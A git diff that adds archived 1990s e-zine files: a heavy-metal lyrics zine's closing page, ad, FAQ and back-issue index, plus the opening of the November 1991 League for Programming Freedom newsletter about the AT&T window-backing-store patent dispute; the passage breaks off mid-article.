+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok dudes.. that's a wrap on issue #18, don't forget to get those survey's +in, and NEVER STOP THE SUBMITTING!! + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #18 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.ad b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.ad new file mode 100644 index 00000000..a3dc9830 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.ad @@ -0,0 +1,83 @@ +This is an ad for an electronic 'zine available on the Internet. Just send +a message to the listserv below to be included on the mailing list. + + _ ____ _ _ _____ + | | / __ \| | | | __ \ + | | | | | | | | | | | | + | | | | | | | | | | | | + | |___| |__| | |__| | |__| | + |______\____/ \____/|_____/ + _ __ _______ _______ __ + | | \ \ / / __ \|_ _\ \ / / + | | \ \_/ /| |__) | | | \ V / + | | \ / | _ / | | > < + | |____| | | | \ \ _| |_ / . \ + |______|_| |_| \_\_____/_/ \_\ + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + + Join up now! To the fastest growing 'zine on the 'net! + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.faq b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.faq new file mode 100644 index 00000000..92ad12c5 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.faq @@ -0,0 +1,175 @@ + + + __ _____ __ __ ____ + /\ \ /\ __`\/\ \/\ \/\ _`\ + \ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \ + \ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \ + \ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \ + \ \____/ \ \_____\ \_____\ \____/ + \/___/ \/_____/\/_____/\/___/ + + __ __ ____ ______ __ __ + /\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \ + \ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/' + \ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > < + \ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\ + \ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\ + \/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/ + + + + Loud Lyrix, June 15, 1994, Issue # 0 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + + =-=-=-=-=-=-=-=-=-=-= + | Start of FAQ | + -=-=-=-=-=-=-=-=-=-=- + + +WHAT IS THE PURPOSE OF THIS 'ZINE? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Loud Lyrix is an electronic zine devoted to all heavy metal fans. Our +purpose is to bring to you all the finest lyrics of the best heavy metal +songs around. + + +WHO IS DEATH INCARNATE? +~~~~~~~~~~~~~~~~~~~~~~~ +Death Incarnate is the editor of Loud Lyrix. He has been a rocker his +entire life, and heavy metal means the world to him. He is dedicated to +bringing the joy of lyric reading to metal fans all around the world, so +they too can discover this new dimension in music listening. + + +WHAT IS THE FORMAT OF THE ZINE? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Loud Lyrix will be distributed to all subscribers every week on Tuesday. +Each issue will contain 5-10 songs depending on subscriber feedback. All +songs will be listed with some short comments from the typist if necessary. +One section of the zine will be devoted to subscriber's "reactions" to any +song that has been posted, send all reactions and submissions to +lyrix@terranet.cts.com + + +WHO TYPES OUT THE LYRICS? +~~~~~~~~~~~~~~~~~~~~~~~~~ +The typist of all lyrics will be listed in the zine along with the song. +Most songs will be typed by Death Incarnate, however user donations are +very welcome (see below). + + +HOW CAN I HELP OUT WITH LOUD LYRIX? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +One thing you can do is type out some lyrics of your own favorite bands. +Chances are Death Incarnate will put them in the zine, as long as they are +heavy metal (or punk, or alternative, whatever). All typists will be +credited in the zine. All lyrics MUST include the title of the song, the +name of the band, and the name of the album it is on. Another thing you can +do is ADVERTISE! Our goal is to reach as many people in the world as +possible, so every little bit of advertising helps, just spread the word +around to any newsgroups or mailing lists. All help is greatly appreciated. + + +HOW DO I JOIN LOUD LYRIX? +~~~~~~~~~~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +HOW DO I LEAVE LOUD LYRIX? +~~~~~~~~~~~~~~~~~~~~~~~~~~ +You may leave Loud Lyrix at any time by sending a "SIGNOFF LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +HOW DO I REPORT A TECHNICAL PROBLEM? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Report all technical problems to Death Incarnate at lyrix@terranet.cts.com +or death@terranet.cts.com + + +IS THERE ANYTHING ELSE I SHOULD KNOW? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Yes... just one more thing.. if you all would be kind, could you after you +subscribe, or right now if you haven't already done so, REGister your name +with the LISTSERV by issuing a 'REG ' command to +listserv@planet.org. Thanks! + + +I FORGOT WHAT I WAS GONNA ASK!? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Good! I've had enough questions for one day! + + +THIS FAQ WILL BE AMENDED AND POSTED AS REQUIRED. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- END OF FAQ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.index b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.index new file mode 100644 index 00000000..f35358e0 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix.index @@ -0,0 +1,236 @@ + + _ ____ _ _ _____ _ __ _______ _______ __ + | | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / / + | | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V / + | | | | | | | | | | | | | | \ / | _ / | | > < + | |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \ + |______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\ + + + B A C K I S S U E I N D E X + =============================== + +Issue #1 - 3/22/94 +------------------ +Song 1: "Heavy Metal" by Judas Priest +Song 2: "Thunderkiss '65" by White Zombie +Song 3: "Walk" by Pantera +Song 4: "Expendable Youth" by Slayer +Song 5: "Hero" by Ministry +Song 6: "Slaughterama" by GWAR (contributed by Sean Warden) + +Issue #2 - 3/29/94 +------------------ +Song 1: "Jailbreak" by AC/DC +Song 2: "Master of Puppets" by Metallica +Song 3: "Electric Eye" by Judas Priest +Song 4: "No Apology" by Believer (contributed by Phil Powell) +Song 5: "Face the Day" by The Angels (contributed by Alex Carranza) +Song 6: "Just One Fix" by Ministry (contributed by Cobalt Raven) +Song 7: "Time" by Pink Floyd (contributed by John Lopes) +Song 8: "Reeking Breath" by Crash (contributed by Arnold Mohammed) + +Issue #3 - 4/05/94 +------------------ +Song 1: "Arti-ficial" by X-Ray Spex +Song 2: "Cemetary Gates" by Pantera +Song 3: "Flaming Telepaths" by Blue Oyster Cult +Song 4: "Junkhead" by Alice in Chains +Song 5: "Force Fed" by Precious Death +Song 6: "The Four Horsemen" by Metallica +Song 7: "Stigmata" by Ministry +Song 8: "Manifest" by Sepultura + +Issue #4 - 4/12/94 +------------------ +Prologue: The Eye +Song 1: "The Eye of The Witch" by King Diamond +Song 2: "Diamonds and Rust" by Judas Priest +Song 3: "Propaganda" by Sepultura +Song 4: "You Shook Me All Night Long" by AC/DC +Song 5: "Smells Like Teen Spirit" by Nirvana +Song 6: "Fucking Hostile" by Pantera +Song 7: "Suicide Solution" by Ozzy Osbourne +Song 8: "Eternal" by Paradise Lost +Song 9: "Fade To Black" by Metallica + +Issue #5 - 4/19/94 +------------------ +Song 1: "The Trial" ("The Eye", Chapter 2) by King Diamond +Song 2: "Refuse/Resist" by Sepultura +Song 3: "Blackened" by Metallica +Song 4: "Mouth for War" by Pantera +Song 5: "Institutionalized" by Suicidal Tendencies +Song 6: "Mother" by Danzig +Song 7: "Feel" by Detritus +Song 8: "Keep Talking" by Pink Floyd + +Issue #6 - 4/26/94 +------------------ +Song 1: "Burn" by King Diamond +Song 2: "Cowboys From Hell" by Pantera +Song 3: "Critical Mass" by Nuclear Assault +Song 4: "Die Hard" by Venom +Song 5: "Possessed to Skate" by Suicidal Tendencies +Song 6: "Evil Has No Boundaries" by Slayer +Song 7: "Fear of the Dark" by Iron Maiden +Song 8: "Fade to Red" by The Dave Man +Song 9: "Escape" by Phillip Wang +Song 10: "I Have Seen The Future" by ktark@src4src.linet.org + +Issue #7 - 5/03/94 +------------------ +Song 1: "I Stand Alone" by Jackyl +Song 2: "Peace Sells, But Who's Buying?!" by Megadeth +Song 3: "Good Friends and a Bottle of Pills" by Pantera +Song 4: "Feeble Screams From Forests Unknown" by Burzum +Song 5: "As The Eternity Opens" by Immortal +Song 6: "Wonder Woman" by The Avatar +Song 7: "Flattery" by Jeroen Tiggelman +Song 8: "Through the Blender" by Philip Wang +Song 9: "Hell's Bells" by AC/DC +Song 10: "Deuce" by Kiss +Song 11: "Be Quick or Be Dead" by Iron Maiden + +Issue #8 - 5/10/94 +------------------ +Song 1: "Two Little Girls" ("The Eye", Chapter 4) by King Diamond +Song 2: "Into The Convent" ("The Eye", Chapter 5) by King Diamond +Song 3: "Sober" by Tool +Song 4: "Angel of Death" by Slayer +Song 5: "Thrust!" by White Zombie +Song 6: "I Saw Your Mommy...." by Suicidal Tendencies +Song 7: "The Day the World Turned Dayglo" by X-Ray Spex +Song 8: "Peek And Enjoy" by Crash +Song 9: "The Fire Still Burns" by Twisted Sister +Song 10: "Skulls" by The Misfits + +Issue #9 - 5/17/94 +------------------ +Song 1: "Father Picard" ("The Eye", Chapter 6) by King Diamond +Song 2: "For Whom The Bell Tolls" by Metallica +Song 3: "The Ballad of the Bobbit Hillbillies" by {Unknown} +Song 4: "Under a Funeral Moon" by Dark Throne +Song 5: "Without Fear" by Sabaoth +Song 6: "Warning" by Black Sabbath +Song 7: "Loser" by Beck +Song 8: "Clones" by Alice Cooper +Song 9: "Turbo Lover" by Judas Priest +Song 10: "Under Siege (Regnum Irae)" by Sepultura + +Issue #10 - 5/24/94 --> 10th Weekiversary Mega Issue! +----------------------------------------------------- +Song 1: "Behind These Walls" ("The Eye", Chapter 7) by King Diamond +Song 2: "The Meetings" ("The Eye", Chapter 8) by King Diamond +Song 3: "Eat Me Alive" by Judas Priest +Song 4: "Children of the Grave" by Black Sabbath +Song 5: "Milk" by Anthrax +Song 6: "Seasons in the Abyss" by Slayer +Song 7: "What You're Doing" by Rush +Song 8: "She" by Kiss +Song 9: "Victim of Changes" by Judas Priest +Song 10: "The Number of the Beast" by Iron Maiden +Song 11: "Crazy Train" by Ozzy Osbourne +Song 12: "I Am The Law" by Anthrax +Song 13: "Suicidal Failure" by Suicidal Tendencies +Song 14: "Spirit in Black" by Slayer +Song 15: "NIB" by Black Sabbath +Song 16: "Keep It In the Family" by Anthrax +Song 17: "How the Gods Kill" by Danzig +Song 18: "Left Hand Path" by Entombed +Song 19: "Heavy Metal Song" by Molibdenus +Song 20: "A Lost Forgotten Sad Spirit" by Burzum + +Issue #11 - 5/31/94 +------------------- +Song 1: "1642 Imprisonment" ("The Eye", Chapter 9) by King Diamond +Song 2: "No Good (Attack the Radical)" by Pantera +Song 3: "Evil Warriors" by Possessed +Song 4: "All That Remains" by Fear of God +Song 5: "Nuns Have No Fun" by Mercyful Fate +Song 6: "Use My Third Arm" by Pantera +Song 7: "Metal Militia" by Metallica +Song 8: "Hell Or High Water" by AC/DC +Song 9: "Gridlock" by Anthrax + +Issue #12 - 6/21/94 +------------------- +Advertisements +Song 1: "The Curse" ("The Eye", Chapter 10) by King Diamond +Song 2: "Prologue" ("Them", Chapter i) by King Diamond +Song 3: "Out From The Asylum" ("Them, Chapter 1) by King Diamond +Song 4: "Soul-Crusher" by White Zombie +Song 5: "Breaking The Law" by Judas Priest +Song 6: "Belly of the Beast" by Anthrax +Song 7: "The Immigrant Song" by Led Zeppelin +Song 8: "God of Thunder" by Kiss +Song 9: "Computer God" by Black Sabbath +Song 10: "Triumph of Death" by Hellhammer + +Issue #13 - 6/28/94 --> LISTSERV Celebration Semi-Mega Issue! +------------------------------------------------------------- +Experiences with: Pantera/Sepultura/Biohazard Concert +Song 1: "Welcome Home" ("Them", Chapter 2) by King Diamond +Song 2: "Dirty Deeds Done Dirt Cheap" by AC/DC +Song 3: "Startin' Up a Posse" by Anthrax +Song 4: "Ram it Down" by Judas Priest +Song 5: "Great Expectations" by Kiss +Song 6: "Weekend Warrior" by Iron Maiden +Song 7: "Last Caress/Green Hell" by Metallica +Song 8: "So What" by Ministry +Song 9: "I Don't Know" by Ozzy Osbourne +Song 10: "A New Level" by Pantera +Song 11: "Behind The Wall of Sleep" by Black Sabbath +Song 12: "Murder" by Sepultura +Song 13: "Reborn" by Slayer +Song 14: "Join The Army" by Suicidal Tendencies +Song 15: "Black Sunshine" by White Zombie +Song 16: "Countdown To Extinction" by Megadeth + +Issue #14 - 7/6/94 +------------------ +Song 1: "The Invisible Guests" ("Them", Chapter 3) by King Diamond +Song 2: "Holy Wars...The Punishment Due" by Megadeth +Song 3: "502" by Megadeth +Song 4: "The Conjuring" by Megadeth +Song 5: "Blood Red Skies" by Judas Priest +Song 6: "War Inside My Head" by Suicidal Tendencies +Song 7: "The Antichrist" by Slayer +Song 8: "Anything" by Danzig +Song 9: "Country Girl" by Black Sabbath +Song 10: "Fuck Me Dead" by ???? + +Issue #15 - 7/12/94 +------------------- +Reader's Survey +Song 1: "Tea" ("Them", Chapter 4) by King Diamond +Song 2: "2,000 Man" by Kiss +Song 3: "Among The Living" by Anthrax +Song 4: "TV Crimes" by Black Sabbath +Song 5: "Biotech Is Godzilla" by Sepultura +Song 6: "Mr. Crowley" by Ozzy Osbourne +Song 7: "Fritz Haarmann the Butcher" by Macabre +Song 8: "Handsome And Gretel" by Babes In Toyland +Song 9: "Live Undead" by Slayer +Song 10: "Disposable Heroes" by Metallica +Song 11: "Black Moon" by Black Sabbath +Song 12: "Fool You" by King's X +Song 13: "Doctor Rocktor" by WASP + +Issue #16 - 7/19/94 +------------------- +Concert Review: Babes In Toyland +Song 1: "Mother's Getting Weaker" ("Them", Chapter 5) by King Diamond +Song 2: "Tormentor" by Slayer +Song 3: "Aces High" by Iron Maiden +Song 4: "Dead Embryonic Cells" by Sepultura +Song 5: "This Love" by Pantera +Song 6: "Haunting the Chapel" by Slayer +Song 7: "Ride The Lightening" by Metallica +Song 8: "Black Sabbath" by Black Sabbath +Song 9: "Rime of the Ancient Mariner" by Iron Maiden + +Issue #17 - 7/26/94 +------------------- + + diff --git a/textfiles.com/magazines/LPF.1 b/textfiles.com/magazines/LPF.1 new file mode 100644 index 00000000..273dfa96 --- /dev/null +++ b/textfiles.com/magazines/LPF.1 @@ -0,0 +1,22 @@ + +T E X T F I L E S + +

+The League for Programming Freedom (1991-1992) +

+

+ + +
+
Filename +Size +Description of the Textfile
lpf1.txt 33795
 League for Programming Freedom Issue #1 (November 1991) +
lpf2.txt 25719
 League for Programming Freedom Issue #2 (January 1992) +
lpf3.txt 23973
 League for Programming Freedom Issue #3 (March 1992) +
lpf4.txt 27377
 League for Programming Freedom Issue #4 (June 1992) +
lpf5.txt 28612
 League for Programming Freedom Issue #5 (August 1992) +
lpf6.txt 34113
 League for Programming Freedom Issue #6 (November 1992) +

There are 6 files for a total of 173,589 bytes.

+ + + diff --git a/textfiles.com/magazines/LPF/.windex.html b/textfiles.com/magazines/LPF/.windex.html new file mode 100644 index 00000000..4137150c --- /dev/null +++ b/textfiles.com/magazines/LPF/.windex.html @@ -0,0 +1,22 @@ + +T E X T F I L E S + +

+The League for Programming Freedom (1991-1992) +

+

+ + +
+
Filename +Size +Description of the Textfile
lpf1.txt 33795
 League for Programming Freedom Issue #1 (November 1991) +
lpf2.txt 25719
 League for Programming Freedom Issue #2 (January 1992) +
lpf3.txt 23973
 League for Programming Freedom Issue #3 (March 1992) +
lpf4.txt 27377
 League for Programming Freedom Issue #4 (June 1992) +
lpf5.txt 28612
 League for Programming Freedom Issue #5 (August 1992) +
lpf6.txt 34113
 League for Programming Freedom Issue #6 (November 1992) +

There are 6 files for a total of 173,589 bytes.

+ + + diff --git a/textfiles.com/magazines/LPF/lpf1.txt b/textfiles.com/magazines/LPF/lpf1.txt new file mode 100644 index 00000000..31139034 --- /dev/null +++ b/textfiles.com/magazines/LPF/lpf1.txt @@ -0,0 +1,527 @@ + _______________________________________________________ + | | + | November 1991 -==- Volume I Number 1 | + | | + | PROGRAMMING FREEDOM - online edition | + | league@prep.ai.mit.edu | + | | + | The Electronic Newsletter of | + | The League for Programming Freedom | + | 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 | + | Phone: (617) 243-4091 (voicemail only-leave your | + |address or phone number, and we'll answer your query)| + | Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) | + | Reproduction of Programming Freedom via all | + | electronic media is encouraged. | + | To reproduce a signed article individually, | + | please contact the author for permission. | + |_____________________________________________________| + + <><><><><>Table of Contents<><><><><> + + Election meeting notice: new location + X-Windows memorandum --==-- MIT Lab for Computer Science + LPF Protests Pike + Opinion --==-- Bill Kennedy: What LPF Should Be Doing & Editor's reply + Len Tower's Summer Vacation (?) - Speaking about and for LPF + A typical RMS speaking tour schedule + LPF at Fall '91 Comdex --==-- Chris Hofstader, LPF Secretary + Volunteer requests: speakers and publicity distributors at conferences + International Patents Treaty --==-- Jack Larsen, LPF President + LPF Boutique: LPF Tshirts, posters, postcards, and mugs + + <><><><><>LPF Annual Meeting<><><><><> + + The LPF annual meeting will take place at 8pm on Sunday, December 15 in +the 7th floor playroom at 545 Tech Square, Cambridge, Massachusetts. <> + + <><><><><>X Window Update<><><><><> + +[Because of the importance of this release, we reproduce it in its entirety.] + +Memorandum to: Members of the X Consortium September 24, 1991 From: MIT Lab +for Computer Science Subject: U. S. Patent No. 4,555,775 (Pike), Issued to +AT&T on Nov. 26, 1985 for "DYNAMIC GENERATION AND OVERLAYING OF GRAPHIC +WINDOWS" + + In February 1991, AT&T sent letters to MIT and to members of the X +Consortium, notifying the community that the "backing store" functionality +available in the X Window System is an implementation of a patented AT&T +invention, and that consequently, companies or institutions commercially +marketing or internally developing products based on an X Window System +implementation will need a license from AT&T. Since MIT developed the X +Window System and distributes it widely, we were deeply concerned by AT&T's +action, and we conducted a thorough technical analysis of the patent and +similar window system technology. MIT also retained counsel to provide us +with an expert legal opinion. Both our technical analysis and the legal +opinion conclude that AT&T's claim with respect to the X Window System cannot +be sustained. + Patent #4,555,775 was applied for in 1982 by Robert Pike and issued in +1985 to his employer, Bell Laboratories. It describes a variation of graphics +drawing algorithms that enables a single display screen to support overlapping +windows, in which several programs can be active simultaneously. It is our +opinion that this same capability was present in window systems that predated +the Bell Laboratories' work. + The Bell Laboratories' work, the X Window System, and previous window +systems all use different variants of the same basic methodology (storing +obscured regions of windows as off-screen bit maps). Both our legal and +technical analyses agree that each of the patent's claims is either so broad +as to have been anticipated by prior art, or so narrow as to apply only to the +`775 patent's specific algorithm and not to the X Window System. + AT&T has requested the Patent Office to open the `775 patent for +reexamination, which will give AT&T an opportunity to clarify the patent's +claims. We hope that AT&T will seek there to recognize the contribution of +the work on which it is based while not casting its claims beyond the specific +methodology involved. MIT is very willing to work with AT&T toward reaching +this goal and is exploring ways in which this can be done. + From a broader perspective, the confusion over the `775 patent +illustrates the difficulties raised by the increasing number of patents issued +on software technology. We would welcome the opportunity to join with AT&T, +other companies, and the university community to explore ways to alleviate +these problems. Software is an area in which prior art is often difficult to +identify and in which obviousness differs significantly from one perspective +to another. The recent proliferation of software patents is creating pressure +on software developers to seek patent protection for straightforward ideas, +and increasing pressure to claim broad applicability of software patents, well +beyond the scope of any original invention. These practices introduce a +chilling effect on university research, and they undermine our ability to +pursue ideas in a free and open climate. In as much as these practices attack +the university's central goals and its obligation to disseminate information, +they are a matter of utmost seriousness to MIT. <> + + <><><><><>LPF protests Pike<><><><><> + + CAMBRIDGE, MA, November 18, 1991 -- Rob Pike, a software designer from +AT&T Bell Labs, expected to deliver an ordinary seminar on his latest research +project. Instead, he found a room filled with programmers carrying signs to +protest the consequences of his previous project: the AT&T "backing store" +patent which AT&T has used to threaten all the members of the X Consortium, +including MIT itself. + Of the approximately 80 people present at the talk, about 50 carried +protest signs. The protestors did not try to interfere with the seminar. +They simply raised their signs as Pike began to speak. This accomplished the +purpose of making their ire known. <> + + <><><><><>Letter<><><><><> + + Guest Opinion: --==-- by former LPF member Bill Kennedy + + Before I joined up there was some very interesting discussion about LPF +on a mailing list I'm on. The consensus opinion agreed pretty closely with +the preliminary material I got before I joined. I'm in complete support of +the philosophy as stated, my consulting practice depends on my being able to +produce unencumbered software tools. + Once the mailing lists started up the discussions started sounding like +the things I was interested in but quickly deteriorated into stereotypical +usenet style chatter. It's pretty difficult to enforce decorum when the +transport is a reflector, but I find that the contributors enforce the decorum +if they are sober and professional about what they're trying to talk about. +I'm too old for the kinds of things that the newbies and wannabes are talking +about and I've got (at least I think so) more to lose. My sole source of +income is my solo consulting practice and I take it very seriously. + I don't think that you can defeat the [business] suits with +demonstrations and tee shirts. I think that you do it kind of like you defeat +the problems of discrimination in the workplace. Discrimination is bad for +business and it doesn't make two hoots which side of the issue you're on. +Discrimination has been around since the Old Testament but it's still bad for +business. I think that the expropriation of software techniques and the +attendant extortion is bad for business too. Businesses learn what's bad for +business through education and observation, seldom through legislation and +never from demonstrations and tee shirts... + The kinds of things that LPF should be doing is educating and persuading. +We don't have a federal, state, or local government that knows beans about the +technological realities and we're not going to teach them or make them +understand as long as the Robert Morris' and Len Roses are their only viewport +into the world where we live and work... + If I author a book my copyright is limited to the content of the book but +not the size of paper or method of binding. I'm perfectly free to make +reasonable citations from other intellectual property without infringing on +another copyright. When you deal with machines that can only count to one +there aren't a whole lot of things as unique as a book, play, song, poem, or +other authored work. Moreover, the real creativity is in the composite fabric +of the work since its components are pretty well understood and pretty +ordinary. I vigorously object to any person or organization claiming +copyright to something pretty well understood and pretty ordinary. When the +system fails and such a copyright is claimed then it is up to the legislature +and courts to remind the claimant their copyright is poppycock. + We can't depend on our courts or legislatures to do that today because +they are too ignorant. They can't get any better or smarter unless/until +someone can overcome their ignorance...That's where I thought LPF came in. +This is supposed to be a group of professionals who _do_ understand the curvy +and twisted passages and should be able to explain it so that the suits have +no place to hide. When the suits have no place to hide and realize what they +are doing is bad for business they'll actually *help* us finish the education +of the courts and legislatures. This is how I perceive LPF's purpose and +responsibility but what I read is a lot of nit picking and bickering. There's +a lot of roaring and groaning about things that are 100% peripheral to the +things that affect my livelihood (and theirs too, but they don't seem to feel +it's as crucial as I do)... + The problems will not get solved with righteous indignation or fist +shaking. So what's the grey-beard master-old-hacker going to do about it? +I'm going to pretty much proceed as I have been. When a particularly stupid +piece of legislation is or is about to be introduced I'll write my legislator. +It's a simple curbstone English description of what the bill is as contrasted +with what someone thought they understood when they wrote it. When someone +infringes on my copyright intellectual property I try to explain what they are +doing and why they shouldn't. The explanation isn't always as moderate when +it ends as it was when it started but that depends on how ignorant, stubborn, +or dishonest they are. I've made enough out of one settlement to break me +even on the others I've won (at a net loss) but my former adversaries are +better educated and less likely to infringe again. Did this intellectual +property contain components and concepts that weren't 100% original? Of +course they did, but my copyright is on the composite work and that is a very +narrow and easily defined effort. The creative combination of proven +techniques is the copyright, not the techniques themselves. + ...If my creative effort produces something that I consider to be of +value then I feel free to protect it to the extent I feel matches its +perceived value. If nobody agrees with me, then they don't use it and don't +pay for it; I had a mistaken idea of its value, but it's my right to protect +it. I've contributed my fair share into the public domain and will continue +to do so. I've also retained copyrights to other material and will continue +to do so. If some suit thinks that he can intimidate me with a gold seal on a +ribbon saying he "owns" the binary search technique, he's crazy. If someone +says I should let anyone, willy nilly use my work, he's crazy too. I'm not +really concerned about the latter but the former has my undivided attention. + You see, that's what I thought you guys were doing. It may very well be +that it really *IS* what LPF is doing but I can't see it for the smoke or hear +it for the noise. <> + internet bill@ssbn.WLK.COM or ssbn!bill@attmail.COM + uucp {att,cs.utexas.edu,pyramid!daver}!ssbn.wlk.com!bill + + <><><><><> + + The Editor's reply: Bill, you have to remember that league-tactics is an +all-purpose discussion mailing list for all aspects of software patents and +look-and-feel lawsuits, as well as members' suggestions for activities. It +is, as you pointed out, an unmoderated list for everyone, not just software +consultants, so we're not surprised that it isn't focused enough on your +specific concerns. It doesn't report on what the LPF is doing - that's what +this newsletter is for. + We *are* trying to educate and persuade: a new position paper is coming +out in a future Dr. Dobbs Journal; the Fall '91 Issues in Science and +Technology has six pages on "Why Patents Are Bad for Software" by Garfinkel, +Stallman, & Kapor, and we had a significent presence at Fall Comdex. + We are also trying to reach the public. Demonstrations will get 10 +seconds of broadcast time because of their visual nature, while position +papers never will. + LPF is still small; we want programmers to tell other programmers to join +and tell other [iterate]... so that we can get large enough to affect +legislative efforts, etc. We haven't filed amicus curae briefs because these +are usually used on appeal, and none of the look-and-feel cases has reached +that stage. + We believe that your letter, from a soon-to-be former LPF member, will +generate a productive discussion, both in and out of the organization, as to +what the LPF is, and what itshould be doing to affect the laws on software. <> + + <><><><><>Speakers<><><><><> + + What I Did on My Summer Vacation --==-- by Len Tower + + During a three week visit to family in the Pacific Northwest in August, I +set aside 4 days to speak on programming freedom 